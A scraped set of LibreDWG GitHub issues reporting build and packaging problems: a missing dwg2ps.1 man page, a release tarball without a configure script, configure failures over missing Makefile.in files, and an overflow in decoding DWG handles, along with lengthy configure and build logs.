make: *** [Makefile:589: all] Error 2
```
[config.log.gz](https://github.com/LibreDWG/libredwg/files/14272702/config.log.gz)
|
0.13.2 gh release: dwg2ps.1 missing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/941/comments
| 6 |
2024-02-13T22:10:53Z
|
2024-02-26T09:10:27Z
|
https://github.com/LibreDWG/libredwg/issues/941
| 2,133,209,103 | 941 |
[
"LibreDWG",
"libredwg"
] |
I saved release 0.13.2 from github release page (https://github.com/LibreDWG/libredwg/archive/refs/tags/0.13.2.tar.gz)
Issues:
1) There is no configure script in tarball.
2) When I run autogen.sh, there are many warning about not present git repository.
|
Wrong github auto-generated source code zip/targz links
|
https://api.github.com/repos/LibreDWG/libredwg/issues/939/comments
| 3 |
2024-02-10T15:40:28Z
|
2024-02-14T08:17:43Z
|
https://github.com/LibreDWG/libredwg/issues/939
| 2,128,557,951 | 939 |
[
"LibreDWG",
"libredwg"
] |
```./configure --disable-bindings --enable-write --enable-trace --enable-debug```
```
...
checking for C/C++ restrict keyword... __restrict__
checking for ld... /usr/bin/ld -m elf_x86_64
checking if the linker (/usr/bin/ld -m elf_x86_64) is GNU ld... yes
checking for shared library run path origin... done
./configure: line 13766: gl_HOST_CPU_C_ABI_32BIT: command not found
checking how to run the C preprocessor... gcc -E
checking for ELF binary format... yes
checking for the common suffixes of directories in the library search path... ./configure: line 13999: test: !=: unary operator expected
./configure: line 14005: test: !=: unary operator expected
./configure: line 14030: test: =: unary operator expected
./configure: line 14034: test: =: unary operator expected
lib,lib,lib
checking for iconv... yes
...
config.status: creating vcpkg.json
config.status: error: cannot find input file: `test/xmlsuite/Makefile.in'
...
```
SEE [configure.log.gz](https://github.com/LibreDWG/libredwg/files/14223298/configure.log.gz)
[config.log.gz](https://github.com/LibreDWG/libredwg/files/14223301/config.log.gz)
|
make dist incorrectly succeeds without xmlsuite or bindings
|
https://api.github.com/repos/LibreDWG/libredwg/issues/937/comments
| 3 |
2024-02-09T15:10:40Z
|
2024-02-10T18:36:23Z
|
https://github.com/LibreDWG/libredwg/issues/937
| 2,127,332,374 | 937 |
[
"LibreDWG",
"libredwg"
] |
#322 contains a Drawing2_C++.dwg, where all handles decode to something like 0.5.1000000D6 instead of 0.5.D6
libdxfrw handles them correctly
apparently everybody uses just 4-byte handles, not 8-byte. we need to cap it until at least r2007. TODO find out when they extended handles to 64bit. I assume r2007, but I might be wrong, as I found no such DWG's with bigger handle sizes than 4 (other than fuzzing or this one)
Or maybe with size > 4 there are more undocumented high bits. There is only such bit set.
|
Handle decoding overflows
|
https://api.github.com/repos/LibreDWG/libredwg/issues/935/comments
| 0 |
2024-02-08T09:24:13Z
|
2024-02-08T10:55:44Z
|
https://github.com/LibreDWG/libredwg/issues/935
| 2,124,700,013 | 935 |
[
"LibreDWG",
"libredwg"
] |
using the build source: https://github.com/LibreDWG/libredwg/releases/download/0.13/libredwg-0.13.tar.xz
see:
<details>
```bash
❯ ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a race-free mkdir -p... /usr/bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking whether make supports nested variables... yes
checking whether make supports nested variables... (cached) yes
checking git version... 0.13
checking so version-info... 0:13:0
checking build system type... x86_64-pc-linux-gnu
checking host system type... x86_64-pc-linux-gnu
checking for pkg-config... /usr/bin/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking whether make supports the include directive... yes (GNU style)
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether the compiler supports GNU C... yes
checking whether gcc accepts -g... yes
checking for gcc option to enable C11 features... none needed
checking whether gcc understands -c and -o together... yes
checking dependency style of gcc... gcc3
checking whether ln -s works... yes
checking whether make sets $(MAKE)... (cached) yes
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking how to print strings... printf
checking for a sed that does not truncate output... /usr/bin/sed
checking for fgrep... /usr/bin/grep -F
checking for ld used by gcc... /usr/bin/ld
checking if the linker (/usr/bin/ld) is GNU ld... yes
checking for BSD- or MS-compatible name lister (nm)... /usr/bin/nm -B
checking the name lister (/usr/bin/nm -B) interface... BSD nm
checking the maximum length of command line arguments... 1572864
checking how to convert x86_64-pc-linux-gnu file names to x86_64-pc-linux-gnu format... func_convert_file_noop
checking how to convert x86_64-pc-linux-gnu file names to toolchain format... func_convert_file_noop
checking for /usr/bin/ld option to reload object files... -r
checking for file... file
checking for objdump... objdump
checking how to recognize dependent libraries... pass_all
checking for dlltool... no
checking how to associate runtime and link libraries... printf %s\n
checking for ar... ar
checking for archiver @FILE support... @
checking for strip... strip
checking for ranlib... ranlib
checking command to parse /usr/bin/nm -B output from gcc object... ok
checking for sysroot... no
checking for a working dd... /usr/bin/dd
checking how to truncate binary pipes... /usr/bin/dd bs=4096 count=1
checking for mt... no
checking if : is a manifest tool... no
checking for stdio.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for strings.h... yes
checking for sys/stat.h... yes
checking for sys/types.h... yes
checking for unistd.h... yes
checking for dlfcn.h... yes
checking for objdir... .libs
checking if gcc supports -fno-rtti -fno-exceptions... no
checking for gcc option to produce PIC... -fPIC -DPIC
checking if gcc PIC flag -fPIC -DPIC works... yes
checking if gcc static flag -static works... no
checking if gcc supports -c -o file.o... yes
checking if gcc supports -c -o file.o... (cached) yes
checking whether the gcc linker (/usr/bin/ld -m elf_x86_64) supports shared libraries... yes
checking whether -lc should be explicitly linked in... no
checking dynamic linker characteristics... GNU/Linux ld.so
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... yes
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... no
checking for bash... /bin/sh
checking for inline... inline
checking for C/C++ restrict keyword... __restrict__
checking for ld... /usr/bin/ld -m elf_x86_64
checking if the linker (/usr/bin/ld -m elf_x86_64) is GNU ld... yes
checking for shared library run path origin... egrep: warning: egrep is obsolescent; using grep -E
done
checking 32-bit host C ABI... no
checking how to run the C preprocessor... gcc -E
checking for ELF binary format... yes
checking for the common suffixes of directories in the library search path... lib,lib,lib64
checking for iconv... yes
checking for iconv declaration...
extern size_t iconv (iconv_t cd, char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);
checking for PS_open_file in -lps... yes
checking for pcre2_config_8 in -lpcre2-8... yes
checking for pcre2_config_16 in -lpcre2-16... yes
checking for newXMLEntity in -lxml2... no
checking for egrep... (cached) /usr/bin/grep -E
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for stddef.h... yes
checking for unistd.h... (cached) yes
checking for malloc.h... yes
checking for wchar.h... yes
checking for ctype.h... yes
checking for wctype.h... yes
checking for float.h... yes
checking for limits.h... yes
checking for sys/param.h... yes
checking for direct.h... no
checking for libgen.h... yes
checking for iconv.h... yes
checking for sys/time.h... yes
checking for getopt.h... yes
checking for alloca.h... yes
checking for valgrind/valgrind.h... yes
checking for endian.h... yes
checking for byteswap.h... yes
checking for mimalloc-override.h... yes
checking whether byte ordering is bigendian... no
checking for _Bool... yes
checking for stdbool.h that conforms to C99... yes
checking for strcasecmp header file... <strings.h>
checking if le16toh is available in endian.h... yes
checking if le32toh is available in endian.h... yes
checking if le64toh is available in endian.h... yes
checking if htole32 is available in endian.h... yes
checking if htole64 is available in endian.h... yes
checking if htobe16 is available in endian.h... yes
checking if htobe32 is available in endian.h... yes
checking if htobe64 is available in endian.h... yes
checking if be64toh is available in endian.h... yes
checking for libps/pslib.h... yes
checking for pcre2.h... yes
checking if pointers to integers require aligned access... no
checking for size_t... yes
checking for int16_t... yes
checking for uint16_t... yes
checking for int32_t... yes
checking for uint32_t... yes
checking for int64_t... yes
checking for uint64_t... yes
checking size of size_t... 8
checking size of wchar_t... 4
checking whether C compiler accepts -Werror=unknown-warning-option... no
checking whether C compiler accepts -Wsuggest-attribute=format... yes
checking whether C compiler accepts -mretpoline -DRETPOLINE... no
checking whether C compiler accepts -mindirect-branch=thunk-extern -mfunction-return=thunk-extern -mindirect-branch-register -DRETPOLINE... yes
checking whether C compiler accepts -fno-strict-aliasing... yes
checking whether C compiler accepts -fno-semantic-interposition... yes
checking whether C compiler accepts -fwrapv... yes
checking whether C compiler accepts -fno-common... yes
checking whether C compiler accepts -fvisibility=hidden... yes
checking whether C compiler accepts -fno-strict-aliasing... (cached) yes
checking whether C compiler accepts -ftrivial-auto-var-init=zero... yes
checking whether C compiler accepts -fstack-protector-strong... yes
checking whether C compiler accepts -fstack-clash-protection... yes
checking whether C compiler accepts -fcf-protection=full... yes
checking whether C compiler accepts -fno-delete-null-pointer-checks... yes
checking whether C compiler accepts -Wall... yes
checking whether C compiler accepts -Wextra... yes
checking whether C compiler accepts -Wundef... yes
checking whether C compiler accepts -Wwrite-strings... yes
checking whether C compiler accepts -Wpointer-arith... yes
checking whether C compiler accepts -Wmissing-declarations... yes
checking whether C compiler accepts -Wredundant-decls... yes
checking whether C compiler accepts -Wno-unused-variable... yes
checking whether C compiler accepts -Wno-unused-parameter... yes
checking whether C compiler accepts -Wno-unused-but-set-variable... yes
checking whether C compiler accepts -Wmissing-field-initializers... yes
checking whether C compiler accepts -Wcast-align... yes
checking whether C compiler accepts -Wformat=2... yes
checking whether C compiler accepts -Wformat-nonliteral... no
checking whether C compiler accepts -Wformat-security... no
checking whether C compiler accepts -Wformat-y2k... no
checking whether C compiler accepts -Wsign-compare... yes
checking whether C compiler accepts -Wstrict-aliasing... yes
checking whether C compiler accepts -Wshadow... yes
checking whether C compiler accepts -Winline... yes
checking whether C compiler accepts -Wpacked... yes
checking whether C compiler accepts -Wmissing-format-attribute... yes
checking whether C compiler accepts -Wmissing-noreturn... yes
checking whether C compiler accepts -Winit-self... yes
checking whether C compiler accepts -Wredundant-decls... (cached) yes
checking whether C compiler accepts -Wmissing-include-dirs... yes
checking whether C compiler accepts -Warray-bounds... yes
checking whether C compiler accepts -Wreturn-type... yes
checking whether C compiler accepts -Wswitch-enum... (cached) no
checking whether C compiler accepts -Wswitch-default... yes
checking whether C compiler accepts -Wduplicated-cond... yes
checking whether C compiler accepts -Wduplicated-branches... yes
checking whether C compiler accepts -Wlogical-op... yes
checking whether C compiler accepts -Wrestrict... yes
checking whether C compiler accepts -Wnull-dereference... yes
checking whether C compiler accepts -Wdouble-promotion... yes
checking whether C compiler accepts -Wchar-subscripts... yes
checking whether C compiler accepts -Wformat=2 -Wformat-nonliteral... yes
checking whether C compiler accepts -Wformat=2 -Wformat-security... yes
checking whether C compiler accepts -Wformat=2 -Wformat-y2k... yes
checking whether C compiler accepts -Wnested-externs... yes
checking whether C compiler accepts -Wmissing-prototypes... yes
checking whether C compiler accepts -Wstrict-prototypes... yes
checking whether C compiler accepts -Wdeclaration-after-statement... yes
checking whether C compiler accepts -Wimplicit-function-declaration... yes
checking whether C compiler accepts -Wold-style-definition... yes
checking whether C compiler accepts -Wjump-misses-init... yes
checking whether C compiler accepts -Wno-error=unused-variable... yes
checking whether C compiler accepts -Wno-error=unused-parameter... yes
checking whether C compiler accepts -Wno-error=unused-but-set-variable... yes
checking whether C compiler accepts -Werror=unknown-warning-option... (cached) no
checking whether the linker accepts -Wl,--as-needed... yes
checking whether the linker accepts -Wl,--as-needed... yes
checking whether the linker accepts -Wl,-z,relro... yes
checking whether the linker accepts -Wl,-z,relro... yes
checking whether the linker accepts -Wl,-z,now... yes
checking whether the linker accepts -Wl,-z,now... yes
checking whether the linker accepts -Wl,-z,noexecstack... yes
checking whether the linker accepts -Wl,-z,noexecstack... yes
checking whether the linker accepts -Wl,--no-as-needed... yes
checking whether the linker accepts -Wl,--fatal-warnings... yes
checking whether the linker accepts -Wl,-fatal_warnings... no
checking whether the linker accepts -Wl,--no-as-needed... yes
checking for __attribute__((visibility("default")))... yes
checking whether C compiler accepts -Werror... yes
checking for __attribute__((gnu_format))... yes
checking for __attribute__((ms_format))... yes
checking for __attribute__((format))... yes
checking for __attribute__((malloc))... yes
checking for __attribute__((returns_nonnull))... yes
checking for __attribute__((noreturn))... yes
checking for __attribute__((aligned))... yes
checking for printf() modifier to use with size_t... "z"
checking for GNU libc compatible malloc... (cached) yes
checking for GNU libc compatible realloc... (cached) yes
checking whether lstat correctly handles trailing slash... yes
checking whether stat accepts an empty string... no
checking for working alloca.h... yes
checking for alloca... yes
checking for strtod... yes
checking for strdup... yes
checking for getopt_long... yes
checking for basename... yes
checking for strcasestr... yes
checking for scandir... yes
checking for floor... no
checking for sqrt... no
checking for gettimeofday... yes
checking for floor in -lm... yes
checking for sincos... yes
checking for memchr... yes
checking for memmove... yes
checking for strcasecmp... yes
checking for strchr... yes
checking for strstr... yes
checking for strrchr... yes
checking for strtol... yes
checking for strtoll... yes
checking for strtoul... yes
checking for strtoull... yes
checking for strnlen... yes
checking for memmem... yes
checking for gmtime_r... yes
checking for wcslen... yes
checking for wcsnlen... yes
checking for wcscpy... yes
checking for wcscmp... yes
checking for wcsstr... yes
checking for sscanf_s... no
configure: WARNING: No secure sscanf_s found. dwgfuzz -add will produce false positives.
checking for --enable-debug... no (default)
checking whether C compiler accepts -Werror... (cached) yes
checking whether to add -D_FORTIFY_SOURCE=3 to CPPFLAGS... yes
checking for C restrict usability... restrict
yes
checking for --disable-write... no (default)
checking for --enable-trace... no (default)
checking for --with-dxf-precision... max (default)
checking for --with-geojson-precision... max (default)
checking for --disable-werror... no (default)
checking for setenv... yes
checking for --disable-dxf... no (default)
checking for --disable-json... no (default)
checking for --disable-bindings... no (default)
checking for --enable-check-less... no (default)
checking for --with-mimalloc... no
checking for --enable-gcov... no (default)
checking for gperf... no
checking for latest clang-format... clang-format
checking for latest clang-tidy... clang-format
checking for --disable-python... check (default)
checking for swig... /usr/bin/swig
checking SWIG version... 4.2.0
checking for SWIG library... /usr/share/swig/4.2.0
checking for python... /usr/bin/python
checking for python version... 3.12
checking for python platform... linux
checking for GNU default python prefix... ${prefix}
checking for GNU default python exec_prefix... ${exec_prefix}
checking for python script directory (pythondir)... ${PYTHON_PREFIX}/lib/python3.12/site-packages
checking for python extension module directory (pyexecdir)... ${PYTHON_EXEC_PREFIX}/lib64/python3.12/site-packages
checking for python3.12... (cached) /usr/bin/python
checking for a version of Python >= '2.1.0'... yes
checking for the sysconfig Python package... yes
checking for Python include path... -I/usr/include/python3.12
checking for Python library path... -L/usr/lib64 -lpython3.12
checking for Python site-packages path... /usr/local/lib/python3.12/site-packages
checking for Python platform specific site-packages path... /usr/local/lib64/python3.12/site-packages
checking python extra libraries... -ldl -lm
checking python extra linking flags... -Xlinker -export-dynamic
checking consistency of all components of python development environment... yes
checking for patch... patch
checking for the libxml2 Python package... yes
checking for perl... /usr/bin/perl
checking PERL version... v5.38.2
checking for --with-perl-install=... site (default)
checking for cppcheck... no
checking for picat... no
checking for parallel... no
checking for timeout... timeout
checking TIMEOUT version... 9.4
checking for makeinfo... ${SHELL} '/home/aurora/rpmbuild/SOURCES/libredwg-0.13/build-aux/missing' makeinfo
checking MAKEINFO version...
checking for ./../ODA-spec... no
checking for doxygen... doxygen
checking DOXYGEN version... 1.10.0 (GIT-NOTFOUND)
checking for jq... jq
checking JQ version...
checking for shellcheck... no
checking for shfmt... no
checking for rpmlint... rpmlint
checking for geojsonhint... no
checking for gjv... no
checking for jing... no
checking for valgrind... valgrind
checking for Valgrind tool memcheck... yes
checking for Valgrind tool helgrind... yes
checking for Valgrind tool drd... yes
checking VALGRIND version... 3.22.0
checking for Valgrind suppressions... valgrind-linux.supp
checking that generated files are newer than configure... done
configure: creating ./config.status
config.status: creating Makefile
config.status: creating src/Makefile
config.status: creating src/codepages/Makefile
config.status: creating doc/Makefile
config.status: creating programs/Makefile
config.status: creating examples/Makefile
config.status: creating test/Makefile
config.status: creating test/unit-testing/Makefile
config.status: creating libredwg.pc
config.status: creating vcpkg.json
config.status: error: cannot find input file: `bindings/Makefile.in'
```
</details>
|
config.status: error: cannot find input file: `bindings/Makefile.in' when ./configure
|
https://api.github.com/repos/LibreDWG/libredwg/issues/934/comments
| 2 |
2024-02-05T12:20:08Z
|
2024-02-07T15:08:34Z
|
https://github.com/LibreDWG/libredwg/issues/934
| 2,118,407,836 | 934 |
[
"LibreDWG",
"libredwg"
] |
gcc-14:
* [x]: -Wcalloc-transposed-args
* [x]: -Walloc-size
build log:
<details>
```bash
❯ ./configure --disable-static --disable-bindings --disable-python && make -j6
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a race-free mkdir -p... /usr/bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking whether make supports nested variables... yes
checking whether make supports nested variables... (cached) yes
checking git version... 0.13
checking so version-info... 0:13:0
checking build system type... x86_64-pc-linux-gnu
checking host system type... x86_64-pc-linux-gnu
checking for pkg-config... /usr/bin/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking whether make supports the include directive... yes (GNU style)
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether the compiler supports GNU C... yes
checking whether gcc accepts -g... yes
checking for gcc option to enable C11 features... none needed
checking whether gcc understands -c and -o together... yes
checking dependency style of gcc... gcc3
checking whether ln -s works... yes
checking whether make sets $(MAKE)... (cached) yes
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking how to print strings... printf
checking for a sed that does not truncate output... /usr/bin/sed
checking for fgrep... /usr/bin/grep -F
checking for ld used by gcc... /usr/bin/ld
checking if the linker (/usr/bin/ld) is GNU ld... yes
checking for BSD- or MS-compatible name lister (nm)... /usr/bin/nm -B
checking the name lister (/usr/bin/nm -B) interface... BSD nm
checking the maximum length of command line arguments... 1572864
checking how to convert x86_64-pc-linux-gnu file names to x86_64-pc-linux-gnu format... func_convert_file_noop
checking how to convert x86_64-pc-linux-gnu file names to toolchain format... func_convert_file_noop
checking for /usr/bin/ld option to reload object files... -r
checking for file... file
checking for objdump... objdump
checking how to recognize dependent libraries... pass_all
checking for dlltool... no
checking how to associate runtime and link libraries... printf %s\n
checking for ar... ar
checking for archiver @FILE support... @
checking for strip... strip
checking for ranlib... ranlib
checking command to parse /usr/bin/nm -B output from gcc object... ok
checking for sysroot... no
checking for a working dd... /usr/bin/dd
checking how to truncate binary pipes... /usr/bin/dd bs=4096 count=1
checking for mt... no
checking if : is a manifest tool... no
checking for stdio.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for strings.h... yes
checking for sys/stat.h... yes
checking for sys/types.h... yes
checking for unistd.h... yes
checking for dlfcn.h... yes
checking for objdir... .libs
checking if gcc supports -fno-rtti -fno-exceptions... no
checking for gcc option to produce PIC... -fPIC -DPIC
checking if gcc PIC flag -fPIC -DPIC works... yes
checking if gcc static flag -static works... yes
checking if gcc supports -c -o file.o... yes
checking if gcc supports -c -o file.o... (cached) yes
checking whether the gcc linker (/usr/bin/ld -m elf_x86_64) supports shared libraries... yes
checking whether -lc should be explicitly linked in... no
checking dynamic linker characteristics... GNU/Linux ld.so
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... yes
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... no
checking for bash... /bin/sh
checking for inline... inline
checking for C/C++ restrict keyword... __restrict__
checking for ld... /usr/bin/ld -m elf_x86_64
checking if the linker (/usr/bin/ld -m elf_x86_64) is GNU ld... yes
checking for shared library run path origin... egrep: warning: egrep is obsolescent; using grep -E
done
checking 32-bit host C ABI... no
checking how to run the C preprocessor... gcc -E
checking for ELF binary format... yes
checking for the common suffixes of directories in the library search path... lib,lib,lib64
checking for iconv... yes
checking for iconv declaration...
extern size_t iconv (iconv_t cd, char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);
checking for PS_open_file in -lps... yes
checking for pcre2_config_8 in -lpcre2-8... yes
checking for pcre2_config_16 in -lpcre2-16... yes
checking for newXMLEntity in -lxml2... no
checking for egrep... (cached) /usr/bin/grep -E
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for stddef.h... yes
checking for unistd.h... (cached) yes
checking for malloc.h... yes
checking for wchar.h... yes
checking for ctype.h... yes
checking for wctype.h... yes
checking for float.h... yes
checking for limits.h... yes
checking for sys/param.h... yes
checking for direct.h... no
checking for libgen.h... yes
checking for iconv.h... yes
checking for sys/time.h... yes
checking for getopt.h... yes
checking for alloca.h... yes
checking for valgrind/valgrind.h... yes
checking for endian.h... yes
checking for byteswap.h... yes
checking for mimalloc-override.h... no
checking whether byte ordering is bigendian... no
checking for _Bool... yes
checking for stdbool.h that conforms to C99... yes
checking for strcasecmp header file... <strings.h>
checking if le16toh is available in endian.h... yes
checking if le32toh is available in endian.h... yes
checking if le64toh is available in endian.h... yes
checking if htole32 is available in endian.h... yes
checking if htole64 is available in endian.h... yes
checking if htobe16 is available in endian.h... yes
checking if htobe32 is available in endian.h... yes
checking if htobe64 is available in endian.h... yes
checking if be64toh is available in endian.h... yes
checking for libps/pslib.h... yes
checking for pcre2.h... yes
checking if pointers to integers require aligned access... no
checking for size_t... yes
checking for int16_t... yes
checking for uint16_t... yes
checking for int32_t... yes
checking for uint32_t... yes
checking for int64_t... yes
checking for uint64_t... yes
checking size of size_t... 8
checking size of wchar_t... 4
checking whether C compiler accepts -Werror=unknown-warning-option... no
checking whether C compiler accepts -Wsuggest-attribute=format... yes
checking whether C compiler accepts -mretpoline -DRETPOLINE... no
checking whether C compiler accepts -mindirect-branch=thunk-extern -mfunction-return=thunk-extern -mindirect-branch-register -DRETPOLINE... yes
checking whether C compiler accepts -fno-strict-aliasing... yes
checking whether C compiler accepts -fno-semantic-interposition... yes
checking whether C compiler accepts -fwrapv... yes
checking whether C compiler accepts -fno-common... yes
checking whether C compiler accepts -fvisibility=hidden... yes
checking whether C compiler accepts -fno-strict-aliasing... (cached) yes
checking whether C compiler accepts -ftrivial-auto-var-init=zero... yes
checking whether C compiler accepts -fstack-protector-strong... yes
checking whether C compiler accepts -fstack-clash-protection... yes
checking whether C compiler accepts -fcf-protection=full... yes
checking whether C compiler accepts -fno-delete-null-pointer-checks... yes
checking whether C compiler accepts -Wall... yes
checking whether C compiler accepts -Wextra... yes
checking whether C compiler accepts -Wundef... yes
checking whether C compiler accepts -Wwrite-strings... yes
checking whether C compiler accepts -Wpointer-arith... yes
checking whether C compiler accepts -Wmissing-declarations... yes
checking whether C compiler accepts -Wredundant-decls... yes
checking whether C compiler accepts -Wno-unused-variable... yes
checking whether C compiler accepts -Wno-unused-parameter... yes
checking whether C compiler accepts -Wno-unused-but-set-variable... yes
checking whether C compiler accepts -Wmissing-field-initializers... yes
checking whether C compiler accepts -Wcast-align... yes
checking whether C compiler accepts -Wformat=2... yes
checking whether C compiler accepts -Wformat-nonliteral... no
checking whether C compiler accepts -Wformat-security... no
checking whether C compiler accepts -Wformat-y2k... no
checking whether C compiler accepts -Wsign-compare... yes
checking whether C compiler accepts -Wstrict-aliasing... yes
checking whether C compiler accepts -Wshadow... yes
checking whether C compiler accepts -Winline... yes
checking whether C compiler accepts -Wpacked... yes
checking whether C compiler accepts -Wmissing-format-attribute... yes
checking whether C compiler accepts -Wmissing-noreturn... yes
checking whether C compiler accepts -Winit-self... yes
checking whether C compiler accepts -Wredundant-decls... (cached) yes
checking whether C compiler accepts -Wmissing-include-dirs... yes
checking whether C compiler accepts -Warray-bounds... yes
checking whether C compiler accepts -Wreturn-type... yes
checking whether C compiler accepts -Wswitch-enum... (cached) no
checking whether C compiler accepts -Wswitch-default... yes
checking whether C compiler accepts -Wduplicated-cond... yes
checking whether C compiler accepts -Wduplicated-branches... yes
checking whether C compiler accepts -Wlogical-op... yes
checking whether C compiler accepts -Wrestrict... yes
checking whether C compiler accepts -Wnull-dereference... yes
checking whether C compiler accepts -Wdouble-promotion... yes
checking whether C compiler accepts -Wchar-subscripts... yes
checking whether C compiler accepts -Wformat=2 -Wformat-nonliteral... yes
checking whether C compiler accepts -Wformat=2 -Wformat-security... yes
checking whether C compiler accepts -Wformat=2 -Wformat-y2k... yes
checking whether C compiler accepts -Wnested-externs... yes
checking whether C compiler accepts -Wmissing-prototypes... yes
checking whether C compiler accepts -Wstrict-prototypes... yes
checking whether C compiler accepts -Wdeclaration-after-statement... yes
checking whether C compiler accepts -Wimplicit-function-declaration... yes
checking whether C compiler accepts -Wold-style-definition... yes
checking whether C compiler accepts -Wjump-misses-init... yes
checking whether C compiler accepts -Wno-error=unused-variable... yes
checking whether C compiler accepts -Wno-error=unused-parameter... yes
checking whether C compiler accepts -Wno-error=unused-but-set-variable... yes
checking whether C compiler accepts -Werror=unknown-warning-option... (cached) no
checking whether the linker accepts -Wl,--as-needed... yes
checking whether the linker accepts -Wl,--as-needed... yes
checking whether the linker accepts -Wl,-z,relro... yes
checking whether the linker accepts -Wl,-z,relro... yes
checking whether the linker accepts -Wl,-z,now... yes
checking whether the linker accepts -Wl,-z,now... yes
checking whether the linker accepts -Wl,-z,noexecstack... yes
checking whether the linker accepts -Wl,-z,noexecstack... yes
checking whether the linker accepts -Wl,--no-as-needed... yes
checking whether the linker accepts -Wl,--fatal-warnings... yes
checking whether the linker accepts -Wl,-fatal_warnings... no
checking whether the linker accepts -Wl,--no-as-needed... yes
checking for __attribute__((visibility("default")))... yes
checking whether C compiler accepts -Werror... yes
checking for __attribute__((gnu_format))... yes
checking for __attribute__((ms_format))... yes
checking for __attribute__((format))... yes
checking for __attribute__((malloc))... yes
checking for __attribute__((returns_nonnull))... yes
checking for __attribute__((noreturn))... yes
checking for __attribute__((aligned))... yes
checking for printf() modifier to use with size_t... "z"
checking for GNU libc compatible malloc... (cached) yes
checking for GNU libc compatible realloc... (cached) yes
checking whether lstat correctly handles trailing slash... yes
checking whether stat accepts an empty string... no
checking for working alloca.h... yes
checking for alloca... yes
checking for strtod... yes
checking for strdup... yes
checking for getopt_long... yes
checking for basename... yes
checking for strcasestr... yes
checking for scandir... yes
checking for floor... no
checking for sqrt... no
checking for gettimeofday... yes
checking for floor in -lm... yes
checking for sincos... yes
checking for memchr... yes
checking for memmove... yes
checking for strcasecmp... yes
checking for strchr... yes
checking for strstr... yes
checking for strrchr... yes
checking for strtol... yes
checking for strtoll... yes
checking for strtoul... yes
checking for strtoull... yes
checking for strnlen... yes
checking for memmem... yes
checking for gmtime_r... yes
checking for wcslen... yes
checking for wcsnlen... yes
checking for wcscpy... yes
checking for wcscmp... yes
checking for wcsstr... yes
checking for sscanf_s... no
configure: WARNING: No secure sscanf_s found. dwgfuzz -add will produce false positives.
checking for --enable-debug... no (default)
checking whether C compiler accepts -Werror... (cached) yes
checking whether to add -D_FORTIFY_SOURCE=3 to CPPFLAGS... yes
checking for C restrict usability... restrict
yes
checking for --disable-write... no (default)
checking for --enable-trace... no (default)
checking for --with-dxf-precision... max (default)
checking for --with-geojson-precision... max (default)
checking for --disable-werror... no (default)
checking for setenv... yes
checking for --disable-dxf... no (default)
checking for --disable-json... no (default)
checking for --disable-bindings... yes
checking for --enable-check-less... no (default)
checking for --with-mimalloc... no mimalloc headers found
checking for --enable-gcov... no (default)
checking for gperf... gperf
checking GPERF version... 301
checking GPERF API... in_word_set (register const char *str, register size_t len)
checking for latest clang-format... clang-format
checking for latest clang-tidy... clang-format
checking for --disable-python... disabled
configure: WARNING: disabled swig bindings
checking for perl... /usr/bin/perl
checking PERL version... v5.38.2
checking for cppcheck... no
checking for picat... no
checking for parallel... no
checking for timeout... timeout
checking TIMEOUT version... 9.4
checking for makeinfo... ${SHELL} '/tmp/libredwg-0.13/build-aux/missing' makeinfo
checking MAKEINFO version...
checking for ./../ODA-spec... no
checking for doxygen... doxygen
checking DOXYGEN version... 1.10.0 (GIT-NOTFOUND)
checking for jq... jq
checking JQ version... 1.6
checking for shellcheck... no
checking for shfmt... no
checking for rpmlint... rpmlint
checking for geojsonhint... no
checking for gjv... no
checking for jing... no
checking for valgrind... valgrind
checking for Valgrind tool memcheck... yes
checking for Valgrind tool helgrind... yes
checking for Valgrind tool drd... yes
checking VALGRIND version... 3.22.0
checking for Valgrind suppressions... valgrind-linux.supp
checking that generated files are newer than configure... done
configure: creating ./config.status
config.status: creating Makefile
config.status: creating src/Makefile
config.status: creating src/codepages/Makefile
config.status: creating doc/Makefile
config.status: creating programs/Makefile
config.status: creating examples/Makefile
config.status: creating test/Makefile
config.status: creating test/unit-testing/Makefile
config.status: creating libredwg.pc
config.status: creating vcpkg.json
config.status: creating doc/Doxyfile
config.status: creating doc/footer
config.status: creating programs/dwgfilter
config.status: creating programs/alive.test
config.status: creating programs/dxf.test
config.status: creating programs/json.test
config.status: creating programs/svg.test
config.status: creating examples/dwgadd_test.sh
config.status: creating logs-all.sh
config.status: creating log
config.status: creating dwg
config.status: creating dxf
config.status: creating json
config.status: creating geojson
config.status: creating svg
config.status: creating rw
config.status: creating dynapi_test_all.sh
config.status: creating unit_testing_all.sh
config.status: creating src/config.h
config.status: executing depfiles commands
config.status: executing libtool commands
make all-recursive
make[1]: Entering directory '/tmp/libredwg-0.13'
Making all in src
make[2]: Entering directory '/tmp/libredwg-0.13/src'
make all-recursive
make[3]: Entering directory '/tmp/libredwg-0.13/src'
Making all in codepages
make[4]: Entering directory '/tmp/libredwg-0.13/src/codepages'
make[4]: Nothing to be done for 'all'.
make[4]: Leaving directory '/tmp/libredwg-0.13/src/codepages'
make[4]: Entering directory '/tmp/libredwg-0.13/src'
CC dwg.lo
CC common.lo
CC codepages.lo
CC bits.lo
CC decode.lo
CC decode_r11.lo
